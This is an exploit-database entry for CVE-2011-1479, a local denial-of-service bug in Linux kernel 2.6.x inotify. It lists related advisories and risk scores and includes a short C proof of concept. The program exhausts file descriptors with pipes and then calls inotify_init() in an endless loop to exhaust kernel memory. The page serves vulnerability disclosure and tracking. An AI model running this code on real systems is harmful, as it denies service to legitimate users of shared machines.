Linux Kernel 2.6.x - 'inotify_init1()' Double-Free Local Denial of Service
| Reporter | Title | Published | Views | Family All 36 |
|---|---|---|---|---|
| CVE-2011-1479 | 11 Apr 201100:00 | – | circl | |
| CVE-2011-1479 | 21 Jun 201223:00 | – | cve | |
| CVE-2011-1479 | 21 Jun 201223:00 | – | cvelist | |
| EUVD-2011-1483 | 7 Oct 202500:30 | – | euvd | |
| CVE-2011-1479 | 21 Jun 201223:55 | – | nvd | |
| Ubuntu: Security Advisory (USN-1167-1) | 18 Jul 201100:00 | – | openvas | |
| Ubuntu: Security Advisory (USN-1212-1) | 23 Sep 201100:00 | – | openvas | |
| Ubuntu: Security Advisory (USN-1243-1) | 31 Oct 201100:00 | – | openvas | |
| Ubuntu: Security Advisory (USN-1242-1) | 31 Oct 201100:00 | – | openvas | |
| Ubuntu: Security Advisory (USN-1256-1) | 11 Nov 201100:00 | – | openvas |
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/*
source: https://www.securityfocus.com/bid/47296/info
The Linux kernel is prone to a local denial-of-service vulnerability.
Attackers can exploit this issue to cause an out-of-memory condition, denying service to legitimate users.
*/
#include <sys/inotify.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int fds[2];
/* Circumvent max inotify instances limit */
while (pipe(fds) != -1)
;
while (1)
inotify_init();
return 0;
}Data
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06 Sep 2016 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 24.7
EPSS0.00803